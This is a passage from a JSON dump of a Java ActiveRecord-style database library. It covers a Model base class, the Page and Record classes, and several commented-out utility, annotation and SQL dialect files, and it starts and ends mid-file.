getBigInteger(String attr) {\n        return (BigInteger) attrs.get(attr);\n    }\n\n    public Double getDouble(String attr) {\n        Number val = (Number) attrs.get(attr);\n        return val != null ? val.doubleValue() : null;\n    }\n\n    public Float getFloat(String attr) {\n        Number val = (Number) attrs.get(attr);\n        return val != null ? val.floatValue() : null;\n    }\n\n    public Boolean getBoolean(String attr) {\n        return (Boolean) attrs.get(attr);\n    }\n\n    public BigDecimal getBigDecimal(String attr) {\n        return (BigDecimal) attrs.get(attr);\n    }\n\n    public Date getDate(String attr) {\n        return (Date) attrs.get(attr);\n    }\n\n    public Time getTime(String attr) {\n        return (Time) attrs.get(attr);\n    }\n\n    public Timestamp getTimestamp(String attr) {\n        return (Timestamp) attrs.get(attr);\n    }\n\n    public byte[] getBytes(String attr) {\n        return (byte[]) attrs.get(attr);\n    }\n\n    public Number getNumber(String attr) {\n        return (Number) attrs.get(attr);\n    }\n\n    /**\n     * 获取所有属性\n     */\n    public Map<String, Object> getAttrs() {\n        return attrs;\n    }\n\n    /**\n     * 获取属性名数组\n     */\n    public String[] getAttrNames() {\n        return attrs.keySet().toArray(new String[0]);\n    }\n\n    /**\n     * 获取属性值数组\n     */\n    public Object[] getAttrValues() {\n        return attrs.values().toArray();\n    }\n\n    /**\n     * 移除指定属性\n     */\n    public M remove(String attr) {\n        attrs.remove(attr);\n        return (M) this;\n    }\n\n    /**\n     * 移除多个属性\n     */\n    public M remove(String... attrs) {\n        if (attrs != null) {\n            for (String attr : attrs) {\n                this.attrs.remove(attr);\n            }\n        }\n        return (M) this;\n    }\n\n    /**\n     * 清除所有属性\n     */\n    public M clear() {\n        attrs.clear();\n        return (M) this;\n    }\n\n    // ==================== Record 互转 ====================\n\n    /**\n     * 转换为 Record\n     */\n    public Record toRecord() {\n        Record record = new Record();\n        record.setColumns(attrs);\n        return record;\n    }\n\n    /**\n     * 从 Record 填充属性\n     */\n    protected M _fromRecord(Record record) {\n        if (record != null) {\n            this.attrs.putAll(record.getColumns());\n        }\n        return (M) this;\n    }\n\n    /**\n     * Record 转 Model 实例\n     */\n    protected M _recordToModel(Record record) {\n        if (record == null) {\n            return null;\n        }\n        try {\n            M model = (M) _getUsefulClass().newInstance();\n            ((Model<?>) model).configName = this.configName;\n            model._fromRecord(record);\n            return model;\n        } catch (Exception e) {\n            throw new RuntimeException(\"创建Model实例失败\", e);\n        }\n    }\n\n    /**\n     * Record 列表转 Model 列表\n     */\n    protected List<M> _recordsToModels(List<Record> records) {\n        if (records == null || records.isEmpty()) {\n            return new ArrayList<>();\n        }\n        List<M> models = new ArrayList<>(records.size());\n        for (Record record : records) {\n            models.add(_recordToModel(record));\n        }\n        return models;\n    }\n\n    // ==================== CRUD 操作 ====================\n\n    /**\n     * 保存到数据库\n     * <pre>\n     * new User().set(\"name\", \"张三\").set(\"age\", 20).save();\n     * </pre>\n     */\n    public boolean save() {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        return _getDbPro().save(tableName, primaryKey, toRecord());\n    }\n\n    /**\n     * 更新到数据库（根据主键）\n     * <pre>\n     * user.set(\"name\", \"李四\").update();\n     * </pre>\n     */\n    public boolean update() {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        return _getDbPro().update(tableName, primaryKey, toRecord());\n    }\n\n    /**\n     * 从数据库删除（根据当前对象的主键值）\n     * <pre>\n     * user.delete();\n     * </pre>\n     */\n    public boolean delete() {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        return _getDbPro().delete(tableName, primaryKey, toRecord());\n    }\n\n    /**\n     * 根据主键删除\n     * <pre>\n     * User.dao.deleteById(1);\n     * </pre>\n     */\n    public boolean deleteById(Object idValue) {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        return _getDbPro().deleteById(tableName, primaryKey, idValue);\n    }\n\n    /**\n     * 根据复合主键删除\n     */\n    public boolean deleteByIds(Object... idValues) {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        return _getDbPro().deleteById(tableName, primaryKey, idValues);\n    }\n\n    // ==================== 查询操作 ====================\n\n    /**\n     * 根据主键查询\n     * <pre>\n     * User user = User.dao.findById(1);\n     * </pre>\n     */\n    public M findById(Object idValue) {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        Record record = _getDbPro().findByIds(tableName, primaryKey, idValue);\n        return _recordToModel(record);\n    }\n\n    /**\n     * 根据复合主键查询\n     */\n    public M findByIds(Object... idValues) {\n        String tableName = _getTableName();\n        String primaryKey = _getPrimaryKey();\n        Record record = _getDbPro().findByIds(tableName, primaryKey, idValues);\n        return _recordToModel(record);\n    }\n\n    /**\n     * 查询所有记录\n     */\n    public List<M> findAll() {\n        String tableName = _getTableName();\n        List<Record> records = _getDbPro().findAll(tableName);\n        return _recordsToModels(records);\n    }\n\n    /**\n     * 通过 SQL 查询列表\n     * <pre>\n     * List&lt;User&gt; users = User.dao.find(\"SELECT * FROM sys_user WHERE age > ?\", 18);\n     * </pre>\n     */\n    public List<M> find(String sql, Object... paras) {\n        List<Record> records = _getDbPro().find(sql, paras);\n        return _recordsToModels(records);\n    }\n\n    /**\n     * 通过 SQL 查询列表（无参数）\n     */\n    public List<M> find(String sql) {\n        return find(sql, DbPro.NULL_PARA_ARRAY);\n    }\n\n    /**\n     * 通过 SQL 查询第一条记录\n     * <pre>\n     * User user = User.dao.findFirst(\"SELECT * FROM sys_user WHERE name = ?\", \"张三\");\n     * </pre>\n     */\n    public M findFirst(String sql, Object... paras) {\n        List<M> result = find(sql, paras);\n        return result.isEmpty() ? null : result.get(0);\n    }\n\n    /**\n     * 通过 SQL 查询第一条记录（无参数）\n     */\n    public M findFirst(String sql) {\n        return findFirst(sql, DbPro.NULL_PARA_ARRAY);\n    }\n\n    // ==================== 分页查询 ====================\n\n    /**\n     * 分页查询\n     * <pre>\n     * Page&lt;User&gt; page = User.dao.paginate(1, 10, \"SELECT *\", \"FROM sys_user WHERE age > ?\", 18);\n     * </pre>\n     */\n    public Page<M> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n        Page<Record> recordPage = _getDbPro().paginate(pageNumber, pageSize, select, sqlExceptSelect, paras);\n        return _recordPageToModelPage(recordPage);\n    }\n\n    /**\n     * 分页查询（无参数）\n     */\n    public Page<M> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n        Page<Record> recordPage = _getDbPro().paginate(pageNumber, pageSize, select, sqlExceptSelect);\n        return _recordPageToModelPage(recordPage);\n    }\n\n    /**\n     * 完整 SQL 分页查询\n     */\n    public Page<M> paginateByFullSql(int pageNumber, int pageSize, String totalRowSql, String findSql, Object... paras) {\n        Page<Record> recordPage = _getDbPro().paginateByFullSql(pageNumber, pageSize, totalRowSql, findSql, paras);\n        return _recordPageToModelPage(recordPage);\n    }\n\n    /**\n     * Record 分页转 Model 分页\n     */\n    protected Page<M> _recordPageToModelPage(Page<Record> recordPage) {\n        List<M> models = _recordsToModels(recordPage.getList());\n        return new Page<>(models, recordPage.getPageNumber(), recordPage.getPageSize(),\n                recordPage.getTotalPage(), recordPage.getTotalRow());\n    }\n\n    // ==================== 事务支持 ====================\n\n    /**\n     * 事务执行\n     * <pre>\n     * User.dao.tx(() -> {\n     *     new User().set(\"name\", \"A\").save();\n     *     new User().set(\"name\", \"B\").save();\n     *     return true;\n     * });\n     * </pre>\n     */\n    public boolean tx(IAtom atom) {\n        return _getDbPro().tx(atom);\n    }\n\n    // ==================== Object 方法 ====================\n\n    @Override\n    public String toString() {\n        StringBuilder sb = new StringBuilder();\n        sb.append(_getUsefulClass().getSimpleName()).append('{');\n        boolean first = true;\n        for (Map.Entry<String, Object> e : attrs.entrySet()) {\n            if (first) {\n                first = false;\n            } else {\n                sb.append(\", \");\n            }\n            Object value = e.getValue();\n            if (value != null) {\n                value = value.toString();\n            }\n            sb.append(e.getKey()).append(':').append(value);\n        }\n        sb.append('}');\n        return sb.toString();\n    }\n\n    @Override\n    public boolean equals(Object o) {\n        if (!(o instanceof Model)) return false;\n        if (o == this) return true;\n        if (_getUsefulClass() != ((Model<?>) o)._getUsefulClass()) return false;\n        return this.attrs.equals(((Model<?>) o).attrs);\n    }\n\n    @Override\n    public int hashCode() {\n        return (attrs == null ? 0 : attrs.hashCode()) ^ (_getUsefulClass().hashCode());\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/Page.java",
    "content": "package io.github.wujun728.db.record;\n\n/**\n * 分页对象\n */\n\nimport lombok.Data;\n\nimport java.io.Serializable;\nimport java.util.List;\n\n/**\n * Page is the result of  Db.paginate(......)\n */\n@Data\npublic class Page<T> implements Serializable {\n\n\tprivate static final long serialVersionUID = -5395997221963176643L;\n\n\tprivate List<T> list;\t\t\t\t// list result of this page\n\tprivate int pageNumber;\t\t\t\t// page number\n\tprivate int pageSize;\t\t\t\t// result amount of this page\n\tprivate int totalPage;\t\t\t\t// total page\n\tprivate int totalRow;\t\t\t\t// total row\n\n\t/**\n\t * Constructor.\n\t * @param list the list of paginate result\n\t * @param pageNumber the page number\n\t * @param pageSize the page size\n\t * @param totalPage the total page of paginate\n\t * @param totalRow the total row of paginate\n\t */\n\tpublic Page(List<T> list, int pageNumber, int pageSize, int totalPage, int totalRow) {\n\t\tthis.list = list;\n\t\tthis.pageNumber = pageNumber;\n\t\tthis.pageSize = pageSize;\n\t\tthis.totalPage = totalPage;\n\t\tthis.totalRow = totalRow;\n\t}\n\tpublic Page() {\n\t}\n\n\t/**\n\t * Return list of this page.\n\t */\n\tpublic List<T> getList() {\n\t\treturn list;\n\t}\n\n\t/**\n\t * Return page number.\n\t */\n\tpublic int getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\n\t/**\n\t * Return page size.\n\t */\n\tpublic int getPageSize() {\n\t\treturn pageSize;\n\t}\n\n\t/**\n\t * Return total page.\n\t */\n\tpublic int getTotalPage() {\n\t\treturn totalPage;\n\t}\n\n\t/**\n\t * Return total row.\n\t */\n\tpublic int getTotalRow() {\n\t\treturn totalRow;\n\t}\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/Record.java",
    "content": "package io.github.wujun728.db.record;\n\n\nimport java.io.Serializable;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.sql.Time;\nimport java.sql.Timestamp;\nimport java.util.*;\n\n/**\n * 数据库记录类\n */\npublic class Record implements Serializable{\n    private static final long serialVersionUID = -6199525976049616932L;\n\n    private Map<String, Object> columns = new HashMap<>();\n\n    /**\n     * 将 Record 转换为指定 Model 类型\n     *\n     * @param modelClass Model 子类的 Class\n     * @return Model 实例，包含 Record 中的所有列数据\n     */\n    @SuppressWarnings(\"unchecked\")\n    public <M extends Model<M>> M toModel(Class<M> modelClass) {\n        try {\n            M model = modelClass.newInstance();\n            model.put(this.getColumns());\n            return model;\n        } catch (InstantiationException | IllegalAccessException e) {\n            throw new RuntimeException(\"Record转Model失败\", e);\n        }\n    }\n\n    public Record put(Map<String, Object> map) {\n        getColumns().putAll(map);\n        return this;\n    }\n\n    public Record put(String key, Object value) {\n        getColumns().put(key, value);\n        return this;\n    }\n\n    public Record clear() {\n        this.getColumns().clear();\n        return this;\n    }\n\n    public Record set(String column, Object value) {\n        this.columns.put(column, value);\n        return this;\n    }\n\n    public <T> T get(String column) {\n        return (T)this.getColumns().get(column);\n    }\n\n    public <T> T get(String column, Object defaultValue) {\n        Object result = this.getColumns().get(column);\n        return result != null? (T)result: (T)defaultValue;\n    }\n\n    public String getStr(String column) {\n        Object val = this.getColumns().get(column);\n        return val != null ? val.toString() : null;\n    }\n\n    public Integer getInt(String column) {\n        Object val = this.getColumns().get(column);\n        if (val == null) return null;\n        return (val instanceof Number) ? ((Number) val).intValue() : Integer.parseInt(val.toString());\n    }\n\n    public Long getLong(String column) {\n        Object val = this.getColumns().get(column);\n        if (val == null) return null;\n        return (val instanceof Number) ? ((Number) val).longValue() : Long.parseLong(val.toString());\n    }\n\n    public BigInteger getBigInteger(String column) {\n        return (BigInteger)this.getColumns().get(column);\n    }\n\n    public Date getDate(String column) {\n        return (Date)this.getColumns().get(column);\n    }\n\n    public Time getTime(String column) {\n        return (Time)this.getColumns().get(column);\n    }\n\n    public Timestamp getTimestamp(String column) {\n        return (Timestamp)this.getColumns().get(column);\n    }\n\n    public Double getDouble(String column) {\n        Object val = this.getColumns().get(column);\n        if (val == null) return null;\n        return (val instanceof Number) ? ((Number) val).doubleValue() : Double.parseDouble(val.toString());\n    }\n\n    public Float getFloat(String column) {\n        Object val = this.getColumns().get(column);\n        if (val == null) return null;\n        return (val instanceof Number) ? ((Number) val).floatValue() : Float.parseFloat(val.toString());\n    }\n\n    public Boolean getBoolean(String column) {\n        return (Boolean)this.getColumns().get(column);\n    }\n\n    public BigDecimal getBigDecimal(String column) {\n        return (BigDecimal)this.getColumns().get(column);\n    }\n\n    public byte[] getBytes(String column) {\n        return (byte[]) this.getColumns().get(column);\n    }\n\n    public Number getNumber(String column) {\n        return (Number)this.getColumns().get(column);\n    }\n\n    public Map<String, Object> getColumns() {\n        return this.columns;\n    }\n\n    public Record setColumns(Map<String, Object> columns) {\n        this.getColumns().putAll(columns);\n        return this;\n    }\n\n    public Record setColumns(Record record) {\n        this.getColumns().putAll(record.getColumns());\n        return this;\n    }\n\n    public Record remove(String column) {\n        this.getColumns().remove(column);\n        return this;\n    }\n\n    public Record remove(String... columns) {\n        if(columns != null) {\n            String[] arr$ = columns;\n            int len$ = columns.length;\n\n            for(int i$ = 0; i$ < len$; ++i$) {\n                String c = arr$[i$];\n                this.getColumns().remove(c);\n            }\n        }\n\n        return this;\n    }\n\n    public Record removeNullValueColumns() {\n        Iterator<Map.Entry<String, Object>> it = this.getColumns().entrySet().iterator();\n        while (it.hasNext()) {\n            Map.Entry<String, Object> e = it.next();\n            if (e.getValue() == null) {\n                it.remove();\n            }\n        }\n        return this;\n    }\n\n    public String[] getColumnNames() {\n        Set<String> attrNameSet = this.getColumns().keySet();\n        return attrNameSet.toArray(new String[0]);\n    }\n\n    public Object[] getColumnValues() {\n        Collection<Object> attrValueCollection = this.getColumns().values();\n        return attrValueCollection.toArray(new Object[0]);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/RecordBuilder.java",
    "content": "///**\n// * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n// *\n// * Licensed under the Apache License, Version 2.0 (the \"License\");\n// * you may not use this file except in compliance with the License.\n// * You may obtain a copy of the License at\n// *\n// *      http://www.apache.org/licenses/LICENSE-2.0\n// *\n// * Unless required by applicable law or agreed to in writing, software\n// * distributed under the License is distributed on an \"AS IS\" BASIS,\n// * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// * See the License for the specific language governing permissions and\n// * limitations under the License.\n// */\n//\n//package io.github.wujun728.db.record;\n//\n//import java.io.IOException;\n//import java.io.InputStream;\n//import java.io.Reader;\n//import java.sql.*;\n//import java.util.ArrayList;\n//import java.util.List;\n//import java.util.Map;\n//import java.util.function.Function;\n//\n///**\n// * RecordBuilder.\n// */\n//@Deprecated\n//public class RecordBuilder {\n//\n//\tpublic static final RecordBuilder me = new RecordBuilder();\n//\n//\n//\tpublic List<Record> build(ResultSet rs) throws SQLException {\n//\t\treturn build(rs, null);\n//\t}\n//\n//\t@SuppressWarnings(\"unchecked\")\n//\tpublic List<Record> build(ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n//\t\tList<Record> result = new ArrayList<Record>();\n//\t\tResultSetMetaData rsmd = rs.getMetaData();\n//\t\tint columnCount = rsmd.getColumnCount();\n//\t\tString[] labelNames = new String[columnCount + 1];\n//\t\tint[] types = new int[columnCount + 1];\n//\t\tbuildLabelNamesAndTypes(rsmd, labelNames, types);\n//\t\twhile (rs.next()) {\n//\t\t\tRecord record = new Record();\n//\t\t\t//record.setColumnsMap(config.containerFactory.getColumnsMap());\n//\t\t\tMap<String, Object> columns = record.getColumns();\n//\t\t\tfor (int i=1; i<=columnCount; i++) {\n//\t\t\t\tObject value;\n//\t\t\t\tif (types[i] < Types.BLOB) {\n//\t\t\t\t\tvalue = rs.getObject(i);\n//\t\t\t\t} else {\n//\t\t\t\t\tif (types[i] == Types.CLOB) {\n//\t\t\t\t\t\tvalue = handleClob(rs.getClob(i));\n//\t\t\t\t\t} else if (types[i] == Types.NCLOB) {\n//\t\t\t\t\t\tvalue = handleClob(rs.getNClob(i));\n//\t\t\t\t\t} else if (types[i] == Types.BLOB) {\n//\t\t\t\t\t\tvalue = handleBlob(rs.getBlob(i));\n//\t\t\t\t\t} else {\n//\t\t\t\t\t\tvalue = rs.getObject(i);\n//\t\t\t\t\t}\n//\t\t\t\t}\n//\t\t\t\tcolumns.put(labelNames[i], value);\n//\t\t\t}\n//\t\t\tif (func == null) {\n//\t\t\t\tresult.add(record);\n//\t\t\t} else {\n//\t\t\t\tif ( ! func.apply(record) ) {\n//\t\t\t\t\tbreak ;\n//\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\treturn result;\n//\t}\n//\n//\tpublic void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n//\t\tfor (int i=1; i<labelNames.length; i++) {\n//\t\t\t// 备忘：getColumnLabel 获取 sql as 子句指定的名称而非字段真实名称\n//\t\t\tlabelNames[i] = rsmd.getColumnLabel(i);\n//\t\t\ttypes[i] = rsmd.getColumnType(i);\n//\t\t}\n//\t}\n//\n//\tpublic byte[] handleBlob(Blob blob) throws SQLException {\n//\t\tif (blob == null)\n//\t\t\treturn null;\n//\n//\t\tInputStream is = null;\n//\t\ttry {\n//\t\t\tis = blob.getBinaryStream();\n//\t\t\tif (is == null)\n//\t\t\t\treturn null;\n//\t\t\tbyte[] data = new byte[(int)blob.length()];\t\t// byte[] data = new byte[is.available()];\n//\t\t\tif (data.length == 0)\n//\t\t\t\treturn null;\n//\t\t\tis.read(data);\n//\t\t\treturn data;\n//\t\t} catch (IOException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t\tfinally {\n//\t\t\tif (is != null)\n//\t\t\t\ttry {is.close();} catch (IOException e) {throw new RuntimeException(e);}\n//\t\t}\n//\t}\n//\n//\tpublic String handleClob(Clob clob) throws SQLException {\n//\t\tif (clob == null)\n//\t\t\treturn null;\n//\n//\t\tReader reader = null;\n//\t\ttry {\n//\t\t\treader = clob.getCharacterStream();\n//\t\t\tif (reader == null)\n//\t\t\t\treturn null;\n//\t\t\tchar[] buffer = new char[(int)clob.length()];\n//\t\t\tif (buffer.length == 0)\n//\t\t\t\treturn null;\n//\t\t\treader.read(buffer);\n//\t\t\treturn new String(buffer);\n//\t\t} catch (IOException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t\tfinally {\n//\t\t\tif (reader != null)\n//\t\t\t\ttry {reader.close();} catch (IOException e) {throw new RuntimeException(e);}\n//\t\t}\n//\t}\n//\n//\t/* backup before use columnType\n//\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n//\t\tList<Record> result = new ArrayList<Record>();\n//\t\tResultSetMetaData rsmd = rs.getMetaData();\n//\t\tint columnCount = rsmd.getColumnCount();\n//\t\tString[] labelNames = getLabelNames(rsmd, columnCount);\n//\t\twhile (rs.next()) {\n//\t\t\tRecord record = new Record();\n//\t\t\tMap<String, Object> columns = record.getColumns();\n//\t\t\tfor (int i=1; i<=columnCount; i++) {\n//\t\t\t\tObject value = rs.getObject(i);\n//\t\t\t\tcolumns.put(labelNames[i], value);\n//\t\t\t}\n//\t\t\tresult.add(record);\n//\t\t}\n//\t\treturn result;\n//\t}\n//\n//\tprivate static final String[] getLabelNames(ResultSetMetaData rsmd, int columnCount) throws SQLException {\n//\t\tString[] result = new String[columnCount + 1];\n//\t\tfor (int i=1; i<=columnCount; i++)\n//\t\t\tresult[i] = rsmd.getColumnLabel(i);\n//\t\treturn result;\n//\t}\n//\t*/\n//\n//\t/* backup\n//\tstatic final List<Record> build(ResultSet rs) throws SQLException {\n//\t\tList<Record> result = new ArrayList<Record>();\n//\t\tResultSetMetaData rsmd = rs.getMetaData();\n//\t\tList<String> labelNames = getLabelNames(rsmd);\n//\t\twhile (rs.next()) {\n//\t\t\tRecord record = new Record();\n//\t\t\tMap<String, Object> columns = record.getColumns();\n//\t\t\tfor (String lableName : labelNames) {\n//\t\t\t\tObject value = rs.getObject(lableName);\n//\t\t\t\tcolumns.put(lableName, value);\n//\t\t\t}\n//\t\t\tresult.add(record);\n//\t\t}\n//\t\treturn result;\n//\t}\n//\n//\tprivate static final List<String> getLabelNames(ResultSetMetaData rsmd) throws SQLException {\n//\t\tint columCount = rsmd.getColumnCount();\n//\t\tList<String> result = new ArrayList<String>();\n//\t\tfor (int i=1; i<=columCount; i++) {\n//\t\t\tresult.add(rsmd.getColumnLabel(i));\n//\t\t}\n//\t\treturn result;\n//\t}\n//\t*/\n//}\n//\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/SqlUtil.java",
    "content": "// 功能已合并到RecordUtil.formatSql()\n/*\npackage io.github.wujun728.db.record;\n\nimport cn.hutool.core.util.StrUtil;\n//import com.ruoyi.common.exception.base.BaseException;\n\nimport java.util.List;\nimport java.util.StringTokenizer;\n\n/**\n * sql操作工具类\n * /\npublic class SqlUtil extends cn.hutool.db.sql.SqlUtil {\n\t/**\n\t * 仅支持字母、数字、下划线、空格、逗号、点（支持多个字段排序）\n\t * /\n\tpublic static String SQL_PATTERN = \"[a-zA-Z0-9_\\\\ \\\\,\\\\.]+\";\n\n\t/**\n\t * 检查字符，防止注入绕过\n\t * /\n    public static String escapeOrderBySql(String value) {\n        if (StrUtil.isNotEmpty(value) && !isValidOrderBySql(value)) {\n            throw new DbException(\"参数不符合规范，不能进行查询\");\n        }\n        return value;\n    }\n\n\t/**\n\t * 验证 order by 语法是否符合规范\n\t * /\n\tpublic static boolean isValidOrderBySql(String value) {\n\t\treturn value.matches(SQL_PATTERN);\n\t}\n\n\t/**\n\t * 替换参数字符串\n\t * @param sql\n\t * @param params\n\t * /\n\tpublic static String getSql(String sql, Object[] params) {\n\t\tif(params == null || params.length == 0) {\n\t\t\treturn sql;\n\t\t}\n\n\t\tint i = 0;\n\t\tStringTokenizer st = new StringTokenizer(sql, \"?\", true);\n\t\tStringBuffer bf= new StringBuffer(\"\");\n\t\twhile (st.hasMoreTokens()) {\n\t\t\tString temp = st.nextToken();\n\t\t\tif(temp.equals(\"?\")) {\n\t\t\t\tbf.append(\"'\"+String.valueOf(params[i])+\"'\");\n\t\t\t\ti++;\n\t\t\t} else {\n\t\t\t\tbf.append(temp);\n\t\t\t}\n\t\t}\n\n\t\treturn bf.toString();\n\t}\n\n\t/**\n\t * 获取不定参数的sql语句\n\t * @param sql\n\t * @param list\n\t * @return\n\t * /\n\tpublic static String getSql(String sql, List<String> list) {\n\t\treturn getSql(sql, list.toArray());\n\t}\n\n\t/**\n     * 处理sql语句中in的占位符\n     * @param inParams in的参数\n     * @param paramList 参数list\n     * @return 与参数个数相同数量、用逗号拼接的占位符字符串\n     * /\n    public static String rebuildInSql(String inParams, List<String> paramList){\n        return rebuildInSql(inParams, paramList, \",\");\n    }\n\n\t/**\n     * 处理sql语句中in的占位符\n     * @param inParams in的参数\n     * @param paramList 参数list\n     * @param splitChart inParams的分隔符\n     * @return 与参数个数相同数量、用逗号拼接的占位符字符串\n     * /\n    public static String rebuildInSql(String inParams, List<String> paramList, String splitChart){\n        String[] paramArray = inParams.split(splitChart);\n        String inSql = \"\";\n        for (int i = 0; i < paramArray.length; i++) {\n            inSql += \",?\";\n            paramList.add(paramArray[i]);\n        }\n        if (!inSql.equals(\"\")) {\n            inSql = inSql.substring(1);\n        }\n        return inSql;\n    }\n\n\t/**\n     * 处理sql语句中in的占位符\n     * @param paramCount 参数个数\n     * @return 与参数个数相同数量、用逗号拼接的占位符字符串\n     * /\n    public static String rebuildInSql(int paramCount){\n        String inSql = \"\";\n        for (int i = 0; i < paramCount; i++) {\n            inSql += \",?\";\n        }\n        if (!inSql.equals(\"\")) {\n            inSql = inSql.substring(1);\n        }\n        return inSql;\n    }\n\n\t/**\n     * 处理sql语句中in的占位符\n     * @param inParams in的参数数组\n     * @return 与参数个数相同数量、用逗号拼接的占位符字符串\n     * /\n    public static String rebuildInSql(String[] inParams, List<String> paramList){\n        String inSql = \"\";\n        for (int i = 0; i < inParams.length; i++) {\n        \tif(StrUtil.isNotBlank(inParams[i])) {\n        \t\tinSql += \",?\";\n                paramList.add(inParams[i]);\n        \t}\n        }\n        if (!inSql.equals(\"\")) {\n            inSql = inSql.substring(1);\n        }\n        return inSql;\n    }\n\n\n\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/annotation/Column.java",
    "content": "// 已移除，使用javax.persistence.Column替代\n/*\npackage io.github.wujun728.db.record.annotation;\n\n//import io.github.wujun728.db.record.mapper.RowType;\nimport io.github.wujun728.db.record.mapper.RowType;\nimport org.springframework.core.annotation.AliasFor;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * 属性字段映射注解\n * JavaBean与数据库字段映射注解\n * /\n\n@Target({java.lang.annotation.ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Column {\n\n    /**\n     * 数据库中的字段名\n     * /\n    String name();\n\n\n    @AliasFor(\"name\")\n    public String column() default \"\" ;\n\n    /**\n     * 字段类型（枚举定义）\n     * /\n    public RowType type() default RowType.STRING;\n\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/annotation/Entity.java",
    "content": "// 已移除，使用javax.persistence.Table替代\n/*\npackage io.github.wujun728.db.record.annotation;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * 数据模型映射\n * Created by jaleel on 16-7-19.\n * /\n\n@Target({java.lang.annotation.ElementType.TYPE})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface Entity {\n\n    String table();\n\n    boolean log() default false;\n\n    boolean isCache() default false;\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/annotation/PK.java",
    "content": "// 已移除，使用javax.persistence.Id替代\n/*\npackage io.github.wujun728.db.record.annotation;\n\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/**\n * 主键注解\n * Created by jaleel on 16-7-19.\n * /\n@Target({java.lang.annotation.ElementType.FIELD})\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface PK {\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/dialect/AnsiSqlDialect.java",
    "content": "// 已移除，使用MysqlDialect作为默认方言\n/*\npackage io.github.wujun728.db.record.dialect;\n\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\n\nimport java.sql.*;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\n\n/**\n * AnsiSqlDialect. Try to use ANSI SQL dialect with ActiveRecordPlugin.\n * <p>\n * A clever person solves a problem. A wise person avoids it.\n * /\npublic class AnsiSqlDialect extends Dialect {\n\n\tpublic AnsiSqlDialect() {\n//\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where 1 = 2\";\n\t}\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tStringBuilder sql = new StringBuilder(\"delete from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(e.getKey());\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder 